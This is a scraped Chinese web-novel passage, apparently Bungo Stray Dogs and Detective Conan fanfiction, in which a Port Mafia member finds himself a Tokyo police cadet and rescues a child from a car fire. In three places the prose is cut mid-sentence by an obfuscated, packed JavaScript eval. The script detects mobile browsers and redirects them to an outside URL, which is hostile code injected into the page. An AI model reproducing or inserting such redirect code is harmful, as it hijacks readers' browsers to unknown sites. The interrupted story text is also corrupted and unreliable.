《我真不是警界之光》 1. 异世界 樱花在空中被风吹这打了个转,稳稳落在地上,阳光下【警视厅警/察学校】几个字仿佛闪着光。 校园门口人来人往,大多数只在大门驻足片刻就兴冲冲地踏入校园,脸上忐忑和期待都大大方方地表露,看起来迫不及待要拥抱自己接下来的校园生活。 这样一来蹲在门口大树下的少年就显得格外显眼。 “要命……” 整张脸从胳膊中抬起来,那人的样貌介于青年与少年之间,面庞白净俊秀,红棕色头发微卷,此时看起来有些炸,一撮怎么也压不下去的头发微微立在头顶,随着动作晃动不肯乖乖垂下。 他抬头看了一眼学校大门,又低下脑袋瞅一眼身上浅蓝色的学生制服,再一次把脸埋进双臂之间。 北川琉生闷声道:“天敌环绕啊……” 越来越多的人注意到这边,甚至有一两个人上前询问是否需要帮助,被他语气恹恹地婉拒。 又在原地纠结了许久,北川琉生豁出去了一般猛地站起来,表情肃穆仿佛下定了某种决心,拎起行李就往前冲。 ——不就是警校吗?有什么好怕的! * 一天前北川琉生还是港口Mafia准干部,领着一群西装革履的手下和触及到Mafia利益的走/私/犯火/拼,连人带船都给人家扬了。 结果一觉醒来发现自己来到了一个陌生的地方不说,还被通知即将到警校报道。 Mafia上警校,还有比这更过分的愚人节玩笑吗?? 北川琉生匆匆查探了一天,结果一无所获。 身体是自己的,该有的疤痕、旧伤一个没少;也不是异能,四周场景人物都真实得不可思议;找不到回去的办法,北川琉生并没有收到任何提示或者要挟。 思来想去眼下除了顺其自然,他似乎什么都做不了。 北川琉生几乎是闭着眼睛跨入警校大门。 畅通无阻,没有任何危机,好闻的樱花味溢满身边的空气。 喂!这可是警校!能不能有点警惕心?就这么让他一个Mafia混进来真的好吗?? 北川琉生在心里无助地大喊,一旁树叶发出被风吹过的簌簌声,不知道是在应和还是嘲讽。 “快走快走,我们还没有去看宿舍呢!” “小阵平!等等我啦!” 身边同穿浅蓝制服的警校生一阵风般跑过,后边那位被拉着飞奔,手臂不小心碰到了北川琉生的行李箱。 北川琉生还处在浑身不自在的状态,反应慢上半拍,猝不及防被失去控制的行李箱带了个趔趄。 “抱歉抱歉!没事吧?”黑发紫眸的青年赶忙停下,眼疾手快扶住箱子,带着歉意和关切回头问。 少年站稳后抬头,看清楚眼前这位眉眼间不自觉透露出笑意的制服学生,脸上写满了不确定道:“啊……大概?” 紫眸青年显然没听懂他的意思:“什么?” “……哦不是、”晃神了半秒,北川琉生才意识到发生了什么,立刻回神打起十二分精神,面对着眼前同学露出标准微笑: “没有关系啦!” 不小心撞到人的警校生被这阳光的微笑普照了一脸,在原地愣上几秒钟才不好意思道:“没事就好,那我就先走了。” 说完他快步向已经走到远处的同伴跑过去。 只留下两道并肩而行的背影和隐隐约约的交谈声。 看着两人走远,北川琉生站在原地,疑惑地伸出两根手指将嘴角微微上拉,做出个微笑的表情又放下。 他声音轻不可闻又带着点疑惑:“奇怪,难道不是这样笑的吗?” 明明自己每次露出这样的表情,身边的下属就会变得特别好说话呀? 果然还是不适合跟这些未来警/察友好交流吗……他抬起头,在心里波澜不惊地想。 又是许久,北川琉生将乱七八糟的想法甩出脑袋,再一次仔细核对班级信息,拎上行李抬腿走向刚才两个警校生离开的方向。 “……鬼冢班。” 既来之,则安之。他目前要做的就是安顿好自己,再去调查这究竟是怎么一回事。 ……总之不会比现在更糟糕了! * “Zero!教官快来了,你们安分一点!” 集合地点,长着双上挑猫眼的蓝瞳青年压低声音,一只手死死拽住身边金发小麦色皮肤的幼驯染。 金发青年手脚并用地扑腾,灰紫色的眼睛恶狠狠瞪着前方:“Hiro你放开我,我今天非得给这小子一个教训!” 被瞪的人虽然被好友一条胳膊牢牢锁在原地,却也不堪示弱瞪了回去,修长的双腿可劲踹着空气:“谁教训谁还不一定呢,金发混蛋!” “好啦好啦,小阵平也消消气,”紫眸青年面对好友的挣扎站得岿然不动,一手镇压住他所有动作,笑着安抚说:“生气可是会长皱纹的哦。” 两个有心灭灭对方威风的青年人谁也动弹不得,双方对视一眼,以一种莫名其妙的默契达成了共识—— 降谷零:晚上再收拾你,卷发混蛋! 松田阵平:谁不来谁是狗,金发混蛋! 当北川琉生到达集合地点时其他人已经安静得差不多了。 由于刚刚那一幕动静太大,不少人都离得远远的,将四个青年身边的位置空了出来。 并不想和未来警/察超过安全距离的北川琉生磨磨蹭蹭走到人口密度最稀疏的地方,尽量降低自己的存在感。 他目光习惯性在面前四个人的脸上扫过。 现在日本警/察预备役的颜值都这么高吗? 北川琉生纳罕地想。 目光所及四个人在长相上各有各的耀眼之处。光说刚刚和北川琉生有一面之缘的那两个—— 黑发紫眸的青年正在和别人聊天,眼睛中无时无刻不承载着一池笑意,看起来十分有亲和力;他身边面色有些难看的同伴头发微卷,领口挂着副墨镜,精致的面容也挡不住脸上的冷意,看得北川琉生倍感亲切。 ——一股熟悉的黑手党味! 与两人气氛不相容的另外两个青年在样貌上与其不相上下。 那个猫眼青年看起来温和儒雅,发现北川琉生打量的目光时对他露了出善意的微笑;而那个拥有罕见的金发黑皮配色的同伴则是一双与之相反的下垂圆眼,配上减龄娃娃脸和混血的立体感格外引人注目。 虽然对方看起来无辜极了,但北川琉生的直感告诉他,刚才那位“小阵平”的黑脸绝对是被这位挑的火给熏的。 两人都快一个色了! 他的目光不加掩饰,把好奇明明白白地写在上面,让人不在意都难。 降谷零一眼就看见了这个仿佛和四周格格不入的人。 虽然穿着同样的制服,但北川琉生显得太过青涩乖巧。四肢修长,红棕色头发衬得皮肤更加白皙,给人一种他应该在高中喝早餐奶而不该出现在警校的感觉。 连瞳仁的颜色都要比寻常的亚洲人要浅,降谷零猝不及防与其对上视线,忍不住在心里想。 北川琉生打量一圈,职业习惯让他开始在心底预估在场所有人的实力,还没来得及刚收回视线,就察觉到身后有人靠近。 他以难以捕捉的速度侧身,躲过那只拍向自己肩膀的手。 回过头,发现是个身材高大结实的警校生,一只落空的手悬着,另一只手摩挲上自己的后脑勺,看起来有些意外。 不过对方看起来丝毫不在意,笑着打招呼:“你好啊,我叫伊达航。” 随着这声爽朗大声的问好,有不少人都看向这边,瞧见了伊达航身边的人。 一时间成为众多警/察预备役的焦点,北川琉生不自觉地抿唇,身体紧绷着,处于一个随时可以反击的状态。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103138|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 上一次面对这么多警/察还是在处理宝石走/私/犯集团的时候呢…… “北川琉生,在横滨长大,很高兴认识各位。” 他控制应激状态的四肢呈现出舒展的样子,回以一个灿烂的笑容,对那些看过来的人说道。 * 开学第一天北川琉生没有打算表演一个乖乖学生,等天一黑他就挑准了时间翻出学校。 开什么玩笑,他没有在第一天就卷铺盖逃回横滨已经是对这个世界最大的尊重了…… 当然,这个世界没有港口Mafia也是主要原因之一。 总而言之北川琉生跑了,离开学校的第一件事就给自己换了身衣服。 把制服叠好寄存,他穿了件黑色连帽衫,衣领略微歪斜,露出雪白皮肤和半截锁骨。 直到眼睛里凌厉的锐意把身上“不谙世事”的乖巧学生感遮掩了七七八八,他才对着镜子满意地点头。 夜晚大街没有多少行人,走出数百米后北川琉生叫了辆出租车,向司机报了个附近酒吧的名字。 那是他现在能接触到的打探消息最方便的地方。 也是最为靠近里世界的地方。 昏暗的灯光在每位顾客脸上投下暧昧的光影,空气中弥漫着烟味和酒精混合的气息,吧台上摆着的高脚杯在暖黄光线下泛出漂亮的琥珀色。 此刻北川琉生的气质与这里的环境十分神奇地融在了一起。他像是一个熟客般自然地坐在吧台前,哪怕长相与这里再格格不入也没有人会认为他单纯好骗。 “先生需要些什么?” “一杯琴费士谢谢。”北川琉生熟练道。 “好的,请稍等。” 四周的人或低声交谈,或放声大笑,但所有的身音到最后都会被留声机传出的歌曲彻底盖住。 期间时不时有人想要靠近北川琉生,被他一个个拒绝。 他指尖敲击着吧台,看起来像是在思考。 明明是相同的灯光,照在他身上时却有一种仿佛与世界割裂的迷离感。 今天是来这里的第二天,北川琉生尝试过拨打熟人的电话,无一不是空号。 横滨没有了象征港口Mafia的大楼,自己身上唯一能用的只有张储存了他在Mafia多年工资的银行卡。 也不知道他的异能力还在不在…… 琴费士发出的泡沫爆响的“吱吱”声在耳边响起。 思索片刻,北川琉生抬起头看着调酒师,问出了自己来到酒吧的第一个问题。 “您听说过太宰治吗?” 他选择了个最可能被打探出消息的名字。 …… 十分钟后,北川琉生离开酒吧时脚步还有些恍恍惚惚。 他没有着急回去,而是游荡般地飘到一家书店门口,买下几本方才调酒师推荐的书。 ……没有什么比得知自己的前辈在异世界已经过世快半个世纪还成为了小说家更加令人震撼的了…… 虽然知道不可能是同一个人,但北川琉生还是陷入了梦游一般的状态。 他怀里抱着书,眼神不复刚才的锐气,甚至有些游离不定,换过制服后原路返回翻回学校。 或许是打击太大,北川琉生甚至忘记提前查看四周情况,单手一撑围墙顶部就往下跳,双腿微曲稳稳落在地上。 他还没来得及拍去掌心沾上的灰尘,就听见身后传出一道幽幽的声音—— “喂,这么在这晚干什么呢?” 北川琉生身形一僵缓缓回头。 或许是隔得太远,那人几乎要与黑暗融为一体。他看不清什么人脸,只有一头显眼的金发,一口白牙,和一双容纳折射着周围全部光线的灰紫色眼睛。 再靠近一点,北川琉生看清了那只似乎有些睁不开的右眼周围大片骇人的暗色。 “——鬼啊!!”他惊叫出声。 2. 降谷零 “——鬼啊!!” 叫喊着,北川琉生没有转身就跑,而是猛地一脚侧踢过去! 对方显然也没料到他是这个反应,震惊之余连忙闪身避开,压低声音道:“看清楚是我!小声点!” 北川琉生对这个声音有印象,今天鬼冢班个人介绍中的那个第一名。 降谷零。 “你怎么在这?现在不是熄灯时间吗??”北川琉生说这话时脸上没有半点心虚。 “我好歹只是在学校里转,你呢?”降谷零毫不客气地回敬道。 不等两人再说什么,身后传出一阵响动。似乎是有人听见动静,举着手电筒照向这个角落。 两人缓缓对视一眼,二话不说夺路而逃。 被抓到绝对会被罚! 降谷零和北川琉生瞬间和一阵风般跑了个没影。 作为断层第一考入警校的降谷零体力不用说,此时他惊奇地发现身形看起来比同龄人要青涩不少的北川琉生速度和耐力居然也不错,能紧紧跟在自己身后没有被落下。 两人对学校布局还不算太熟悉,但记忆力都是一等一的好,几下便绕开了身后巡查的人回到宿舍。 北川琉生的房间靠近楼梯间,怕有人路过被发现,降谷零想也没想也跟了进去。 “呼——”直到宿舍门被关上北川琉生这才松开一口气,在不算热的四月额间渗出些汗水。 他将手里抱着的书放下,抬头看向跟进来的家伙,原本要说出口的话瞬间顿住。 降谷零投以不明所以的疑惑目光。 借着头顶的灯光,北川琉生凑过去看了个清楚。 刚刚黑暗中降谷零右眼周围的暗色居然是一片乌青,左侧的面颊此时也微微肿起,可能还有些红,只是落在深色皮肤上看不太出。 北川琉生语气有些复杂:“降谷同学,你这是和谁打架了?” 降谷零缓缓眨眼。 刚刚事态紧急没有感觉,此时他仿佛被这一句话唤醒痛觉,瞬间觉得自己哪哪都不太对劲,一只手捂着眼睛一只手捂住脸颊,“嗷”的一声原地蹲下:“……那卷发混蛋下手也太狠了。” 看样子是被白天那位酷酷的同班打的,北川琉生了然地想。 开学第一天就约架斗殴,眼前这一位也没有看起来那么“乖”嘛。 北川琉生自然而然地忽略了自己今晚更加过分的举动,双手抱着胳膊靠坐在桌子旁,毫不留情地点评说:“或许是看见降谷同学这张脸一时没收住手吧。” “……” 降谷零半晌才站起来,一双下垂圆眼略带些无奈地看着面前的人:“我发现北川同学真的很区别对待诶。” 明明白天的时候在全班面前那么阳光开朗,单独相处不到半个小时却像变了一个人似的。 对此降谷零双手合十,问得十分诚恳:“难道是对我有什么不满吗?” 看到自己翻墙,还装神弄鬼吓唬自己,换作在Mafia早就被灭口了——北川琉生在心里同样诚恳地想。 不过他还是解释了一句:“并没有哦。” 其实是因为降谷零白天表现出来的那股过强的正义感让身为“里世界人士”的自己有些过于戒备。 不过这应该算是自己的问题,和这位新同学没什么太大关系。 于是他道:“只是不太习惯和陌生人单独相处。” 降谷零表情看起来半信半疑,脸上控诉一点不少。 可能也觉得自己语气依旧有些生硬,北川琉生自我反思了这一路上自己的行为——翻墙被抓包、把降谷零当成鬼吓一跳、好像还试图踹了人家一脚…… 好吧……是有些过分。 “抱歉,是我的问题。” 准干部大人难得有些心虚,指节曲起蹭过鼻尖想了想,转身打开房间的冰柜。 他在冰柜深处找出一袋用来保鲜的冰袋,站起来递给房间正中间的人,指着自己的脸经验丰富道:“可以试着先冰敷缓解一下,稍微好一些再热敷,大概一周左右能好。” “谢、谢谢。”降谷零伸手接过冰袋,被他态度的转变打了个措手不及,一时间没有反应过来。 此时两人的距离已经卡在了社交距离的极限。 降谷零垂眸仔细观察才发现眼前人鼻梁上有颗极小的红痣,因为这人够白所以有着不小的存在感。 这出能够用靡丽来形容的点缀将北川琉生身上乖巧的少年感冲散了几分。 这么想着,就看见北川琉生不解地歪了下脑袋,似乎是好奇他在看什么。 降谷零回过神躲开那道探究的视线,有些不自在地要告别离开。 他转过身,犹豫一会还是提醒道:“北川同学身上沾了点烟味和酒味,记得换衣服。” 虽然不太明显,但还是破坏了对方身上那股好闻的甘冽泉水般的味道。 北川琉生站在原地眨了眨眼睛,算是示意自己明白了。 直到降谷零走出宿舍顺手关上门,两人都没有再说其他的话。 真是奇怪的关注点。北川琉生低头闻了下自己的衣领,目光投向降谷零离开的方向不解地想着。 好半天他才略微一耸肩,抬手摁灭房间暖黄的灯光。 或许是降谷零同学不喜欢烟味吧,北川琉生思索着,一双淡棕色眼睛在黑暗中更显明亮。 * 北川琉生是孤儿,曾因为外出找食物时不小心撞见港口Mafia和敌对势力交火,差点被对面一梭子给崩了,意外觉醒异能才得以活命。 当时的横滨才经历完“龙头战争”最不缺的就是孤儿,但他在众目睽睽之下“死而复生”还是惊到了其他人,于是在事情结束后被带回了港口Mafia。 他的异能【忉利天】属于被动技能,意译为“三十三天”,算起来应该与空间相关,每当北川琉生濒死时就会被动触发。 空间里没有时间流动,只有容纳不到十五人的空间,触发异能的一瞬间北川琉生所接触到的人都能够进入。 虽然不比一部电梯大多少,但里面金灿灿一片,还能听见悠远的古钟声。 无论多重的伤、多强的负面影响,只要进入到【忉利天】都会被治愈。 简而言之就是无差别消除进入者身上的一切debuff。 虽然太宰先生坚称这是暴殄天物,但北川琉生目前还没有发现【忉利天】的其他能力,索性一直把自己当奶妈在用。 他被归为直属于首领的游击部/队,和一个崇尚暴力的武斗派混蛋成为搭档,日常任务就只有赶路、靠近战斗中心、掐准时间濒死发动异能,最后看着满身伤的搭档跟刷新重置一样生龙活虎地接着战斗。 因为北川琉生异能过于特殊、搭档过于暴力,他们俩的名声也渐渐在横滨传开,其中传播范围最广的就是“不死神话”。 也不知道那家伙没了他的异能会不会惜命一些……北川琉生左手撑在脸侧,目光不自觉盯着右手手腕隐隐跳动的动脉出神。 他现在还不能确定异能在这个世界是否还存在,却也不能轻易尝试,否则一个不小心明天报纸上将全是“东京警校生压力过大,在宿舍割腕自杀”的新闻。 眼前课本摊开在桌面,理论课的老师讲述得激情四射,北川琉生随手翻着手里那本《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103139|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 警/察学纲要》①看得津津有味—— 没想到有朝一日他会被教导怎么做一个警察。 说不定回去之后这些知识还能派上些用场呢…… 正出着神,北川琉生余光里瞥见一道身影站起,似乎是在回答老师提出的问题。 金色发丝在窗外阳光下仿佛在发光,嘴角贴着创口贴也没有影响青年的发挥,语言条理清晰一语中的,还附带上了自己对书中理论的思考和质疑。 他看降谷零的目光并没有收敛,很快就被对方察觉。 回答完毕的降谷零神情疑惑转头看过来。 北川琉生没事人般淡定收回目光,仿佛刚刚盯着人家瞅的不是自己。 不过他也就没看见降谷零坐下后长眉挑起“哈”了声,一个不小心牵动了脸上的伤口,哀声低头捂脸。 “什么嘛,谁会有这么奇怪的肤色发色。” “不知道他到底混了哪几国血统。” “还这么爱出风头。” 坐在北川琉生身后的两人压低声音交谈,发出悉悉索索的声响。 哪奇怪了,听了个一清二楚的北川琉生再一次将目光投向坐在远处的降谷零。 在横滨多得是各种发色的人,仅他所见就有红的、橙的、黄的,甚至还有一半黑一半白的头发。 身后那位警校生发现他的视线,还凑上前来寻求认同:“是吧是吧,你也觉得很奇怪对吧?” 闻言,北川琉生诚恳地提问:“哪里奇怪?” 虽然金发深肤很少见,但这丝毫没有影响降谷零的颜值。 是那种让北川琉生愿意多看几眼的赏心悦目。 于是他发自内心地疑惑:“难得是好看到奇怪?” 身后人:“……” 不远处原本脸色不是很好看的伊达航表情一时间变得有些诡异,反倒是前桌那位紫眼睛的萩原同学噗嗤一声笑出来,手肘直捅同桌的胳膊。 被捅的“小阵平”指节上贴着创口贴,眉骨处还有涂过药油后的反光。他恶狠狠剜了同桌一眼,回头附赠北川琉生和他身后两个人“再吵弄死你”的眼神。 北川琉生接受良好,甚至觉得这样的目光有些亲切,但不影响身后两位瞬间噤声。 直到理论课结束,两人都没有再乱说什么。 “北川同学!”下课后北川琉生被伊达航叫住。 “有什么事嘛,班长?”他疑惑道。 伊达航揉了揉后脑勺的寸头,开口说:“我看昨天降谷同学和松田同学之间好像起了些矛盾,想着能不能把他们叫出去吃个饭解决一下,大家毕竟都是同学。” 原来是个责任心有些强的班长,北川琉生不知道对方叫住自己的目的,于是主动询问:“那请问有什么是我可以做的吗?” 伊达航不好意思道:“我现在要去材料室取资料,可以请北川同学帮我去邀请一下两位同学吗?他们正在鬼冢教官办公室做检讨。” “……所以,”北川琉生犹豫了一会,还是开口确认:“班长是想要两个可能刚因为打架被罚的家伙同桌吃饭?” “……”被这么一提醒伊达航自己语气中也带上不确定:“那再多叫些人?萩原同学和诸伏同学应该不会拒绝,北川你也一起来吧!” 肩膀被宽大的手掌重重一拍,北川琉生差点没绷住露出龇牙咧嘴的表情,下意识拒绝:“我就……” 伊达航早早地就跑远了,话音都跟不上他飞奔的速度。 “就这么说定啦,你们记得在校门口等我!我要快些去资料室了……” “……不去了。”北川琉生后半句被远远地甩开。 3. 异能 六个人乌泱泱地走进一家拉面馆,伊达航和北川琉生走在最后,看着正在交谈的萩原研二和诸伏景光,以及两人身边企图用眼神杀死对方的松田阵平和降谷零。 “怎么做到的?”伊达航满眼惊叹地小声问。 在此之前他也不是没有想过被对方拒绝的可能性。 “只要说服萩原同学和诸伏同学就好。”北川琉生的回答十分简单。 无论是希望好友能与同学好好相处,还是恶趣味想看到对方气急败坏的样子,让这两个人出马效果一定不差。 伊达航若有所思,在背后偷偷给他比了个大拇指以示敬意。 “所以说那家伙果然还是讨人厌吧!”吃饭时,松田阵平听见北川琉生对降谷零的第一印象颇为感同身受:“他简直把‘我要当警察’写在了眼珠子上!” 降谷零被他的形容说得眼睛一阵幻痛,毫不客气地嘲讽回去:“拜托我可是警校生!你这种像是随时要暴力执法的家伙才奇怪好吗!” “金发混蛋你是不是没被打够?!” “说得好像昨晚你占到了便宜似的,卷发混蛋!” “好啦小阵平,生气长皱纹哦!” “Zero,拉面快凉了,快吃。” 萩原研二和诸伏景光同时开口制止即将打起来的两人。 似乎是为了缓解气氛,诸伏景光接上刚才的话题,语气温和道:“话说我第一眼看见北川同学,就觉得你会是一个乖巧优秀的学生呢。” 这次换降谷零和北川琉生睁圆了眼睛,异口同声地震惊:“哈?” 降谷零回想起昨晚夜游时撞见的北川琉生,语气复杂:“Hiro你从哪看出来的?” 仅凭脸吗? 北川琉生听见他的质疑非但不恼怒,甚至还点头赞同:“虽然有很多人说过这话,但我觉得自己一点也不乖巧哦。” “乖巧”两个字绝对是对他作为Mafia准干部的侮辱!绝对! 北川琉生自认为他也就只在警/察面前有一点点伪装。 如果被误解,那一定是自己的伪装太过完美! 北川琉生在心里满意地想着,转移话题:“降谷君和诸伏同学是幼驯染吗?” 回答他的是诸伏景光:“没错,我和Zero在很小的时候就认识了。” “那跟我和小阵平一样诶!”萩原研二一手亲昵地揽过身边人的脖子,不顾对方黑沉的脸色在他头发上揉了一把:“琉生呢?来东京上学后横滨的朋友一定也很想你吧!” 紫眸青年十分自然地换了个称呼,却并不另人感到冒犯,让北川琉生不得不承认对方在社交方面的天赋。 北川琉生道:“我离开的时候还没来得及……” 话说到一半突然顿住,北川琉生总感觉哪里有些违和。 来到这个世界的前一天他带着行动部队在码头处理敌人……他那位搭档在干什么呢? 对方居然让他一个人出任务?还是说他当时有什么其他更重要的事情? 脑海中似乎有什么人的低语一闪而过: ——“怎么使用异能是你的自由,但是琉生酱……” “琉生?” 北川琉生被这一声唤回神。 原来是萩原研二没有等到下文,和其他人一起好奇地注视着他。 “哦,只是突然想起来我离开的时候没来得及和朋友道别,”北川琉生低头掩饰表情上的异样,再抬起来时脸上挂着淡定的笑容:“回去可能要被揍一顿了吧。” “诶,这么可爱的一张娃娃脸,”萩原研二半是玩笑半是震惊地问:“谁会舍得揍琉生?” 比起刚才的“乖巧”,“可爱”这个形容词更让北川琉生感到别扭。他的脸蹭的一下变红,还逐渐有往耳尖蔓延到趋势。 北川琉生目光扫过一圈,落在吃拉面吃得正投入的降谷零身上,忙不迭将他拽下水:“降谷君也是娃娃脸,松田同学不也照样打吗?” “咳、咳!” 降谷零莫名躺枪,差点把拉面喂进肺里,难受得咳了两声,接过诸伏景光递来的纸巾还没来得及反驳。 松田阵平抢先一步道:“他那张脸只会激起我挥拳的欲/望,和‘可爱’没半点关系。” 伊达航似乎发现了什么重点,面色惊奇:“这么说,北川同学是觉得降谷很可爱了?” 话还没说完,降谷零仿佛被眼前拉面散得差不多的热气给熏到了一般,咳得更加不自然。 中间隔着几个人,他把视线投向北川琉生,发现对方也正撑着脸,不躲不闪地打量自己。 意识到这一点,降谷零下意识将脊背挺得更直,一时间坐姿显得有些僵硬。 虽然但是……他一个22岁高挑健硕男青年怎么也称不上“可爱”吧? 降谷零觉得自己紧张得莫名其妙,不过这并不耽误他腹诽。 北川琉生正准备开口回应,突然鼻尖轻轻一皱,转头眉心蹙起问;“你们……有没有闻到一股不对劲的味道?” 像是以前出完任务后Mafia处理现场的气味。 其实还有楼下的一些奇怪动静,但北川琉生有些不确定。 毕竟这里不是横滨,东京应该不会出现在大街上遇到爆炸或者枪/战之类的事吧? 靠窗的降谷零也察觉到什么,推开二楼的窗户往下看。 别窗户隔绝的惊慌声瞬间传了过来—— “着火啦!” “快跑开!!” 不远处街道的另一端,一辆黑色私家车斜停在路边,车头有明显的撞击痕迹。 而被撞到墙角的另一辆白色小轿车车门凹陷,浓烟从车盖缝隙争先恐后滚出,火舌从车身内部窜向前轮! 驾驶位的司机处于昏迷状态,鲜血沿着额头滑到唇边,又顺下巴滴落,被几个路人及时拖出驾驶位。 不过几秒钟,火焰就已经脱离了企图救火的路人的控制,蔓延上整个车身。 后门还紧闭着,深深往里凹陷,里面隐隐传出哭声。 此时驾驶位的入口已经彻底进不去了。而完好的那扇后车门却被墙面堵住,难以打开! 有人扑过去尝试去打开变形的后车门,伸出手被却扑面热气逼了回来: “门打不开!里面还有个小孩!!” 警校六人冲下楼后用最快的速度了解清楚了目前的情况。 周围已经有人联系了火警,但他们短时间估计难以到达。从街边店铺借来的灭火器对眼前的大火也束手无策。 “从起火到现在多久了!?”家里开过汽车厂的萩原研二对眼下情况更了解,他立刻询问四周众人。 “快五分钟了!” “坏了,小阵平你和班长去疏散人群,以防被爆炸波及!”被热浪影响,萩原研二额头隐隐渗出汗水,目光扫视四处寻找可以救人的工具。 汽车起火后七分钟左右整个底盘就会烧起来,这个时候无论是油箱还是轮胎都容易发生爆炸反应。① 一边降谷零赶忙脱下外套裹在手臂上,接过诸伏景光手里的矿泉水把衣服淋湿就要冲过去。 可北川琉生却突然看向车辆的方向,冥冥之中有一种对危险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103140|163812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的直感: “快爆炸了。” 他们离起火的车辆之间有五十米左右。 如果降谷零现在过去救人…… “喂!不是!” 刚要跑去救人的降谷零被一只手拽着衣领拖回原地,余光中瞥见一道身影比他更快地冲了出去! “北川琉生?!” 视野中青年的身影敏捷得像只狩猎途中的猎豹,数秒就到达了正张牙舞爪的火焰面前。 四周群众都疏散得差不多了,离事故车最近的店铺里已经空无一人。 “小心!” 北川琉生像是感受不到火焰的温度,对身边猖狂的火舌视而不见,直接从已经被烧得只剩钢制框架的前门钻进车内! 火焰燎上他的衣服和头发,还有一部分在青年皮肤表面肆意炙烤着。 可他丝毫不在意。 车后座的孩子小小的胳膊抱着脑袋蜷缩在座位上,她的脚被牢牢卡住,烧伤布满她的小腿和护着头的手。 小孩连哭都提不上力气了,低声呜咽像是垂死挣扎的动物幼崽。 来不及多想,北川琉生用简单包裹的双手一把掀起对成年人而言轻而易举能摆脱的桎梏。 他解下外套将小女孩裹好,连外套一起抱起,再次从驾驶位爬出! 全过程不到十余秒! “——砰!” 苟延残喘的私家车终于是承受不住火焰的高温,在北川琉生踏出的前一刻发出尖锐的爆鸣! “北川琉生!!” 警校五人惊声狂奔! 爆炸声撕碎天空,空气在高温下扭曲变形,破碎的金属碎片带着炙热温度向四周飞溅。 浓烟里橡胶和汽油刺鼻的恶臭一时间充斥着北川琉生的肺部,火焰如魔鬼在眼前乱舞。 这一幕像一根楔子狠狠钉上北川琉生的视网膜,深深扎入脑海。 ……就好像,大火吞噬了自己很重要的东西。 紧接着无数画面被眼前的爆炸和大火唤醒,霎时间让他头痛欲裂。 只这一瞬间的恍惚,爆炸溅起的玻璃直直飞向北川琉生! 怀里还抱着小孩不能躲开。在火焰遮挡的视线死角,锋利的玻璃反射这火焰刺目的光直刺北川琉生脖颈。 肌理被划开,滚烫的鲜血喷溅,落在青年脸上像是点点红梅。 ……熟悉的,死亡的味道。 北川琉生闭上眼,几乎是沉浸其中。 【异能力——忉利天!】 蜻蜓点水般在异能空间短暂停留,北川琉生再次睁开双眼时,眼中映出的火光仿佛要一跃而出。 他的手臂、被划开的血管、怀中小女孩身上的烫伤,在这一瞬间消失殆尽! “砰——!” 第二次爆炸在耳边响起,热浪和冲击将北川琉生推到在地! “北川同学!” 重重摔倒,北川琉生在惯性下紧贴着地面擦出长长一道痕迹。 几个警校生第一时间围上前,接过他怀中护得严严实实的小孩。 “有哪里受伤了吗?!” 他听出了这些人的焦急和关切。 他没有回应。 不知为何,北川琉生抬头,怔怔看着担心有伤不敢随便挪动自己的警校生们,张开口却没能发出任何声音。 直到看清楚五人之中的降谷零。 对方目含担忧地看着自己。 被阳光和未来警察的金发刺到的眼睛微微闪烁出异样的微光。 ——他好像,明白自己为什么会来到这里了…… 4. 拯救 ——北川琉生是怎样一个人? ——疯子。 以港口Mafia的眼光来看,比起在任务中浪得飞起的搭档,北川琉生才是那个不折不扣的疯孩子。 ……否则什么样的人,会把个人价值寄托在拯救别人身上呢? 起初这个“别人”还是他身边所有的Mafia成员,直到北川琉生有了一个固定搭档,这个范围便随着【忉利天】迎来了一位常客而逐年缩小。 他们配合默契,相互信任。 不在乎所受到的伤害,只有完成任务这一个目标,那个搭档毫无顾虑地将自己的命交付在北川琉生手里。 不是没有人看出其中的弊端,但短时间让两人改变实在是太难了。 等到问题被发现时北川琉生已经将对方的性命和自己牢牢联系在一起。 他把自己深深楔在了“拯救者”的位置上,入木三尺。 【忉利天】不再只是北川琉生肆意战斗的底牌,它成为了以自我伤害换命的工具。 无伤却可以救人,让奄奄一息的前辈、下属、朋友、搭档下一秒便又生龙活虎,在北川琉生眼里没有比这更划算的交易。 这是再正确不过的事情。 因为他是“不死神话”。 直到北川琉生第一次、也是唯一一次失手。 两声爆炸,铺天火光,火焰和浓烟吞噬一切。 那个上一刻还笑得桀骜,说好回去就要指导自己体术的搭档在他眼前撕碎。 是北川琉生没有撑到最后,没有让异能触发在最恰当的时刻。 是他的存在人那个家伙不再惜命。 是他得意忘形,忘记了“不死神话”不是两个人的传说,而是一个人逃脱不了的诅咒…… 他没有搭档了…… 北川琉生开始走到人前,捡起那个人负责的所有事务,一点点了解Mafia成员所要做的所有工作。 他代替那个人成为了准干部。 可逐渐的北川琉生感到无处不在的惶恐和茫然,他开始沉迷于【忉利天】里片刻的宁静。 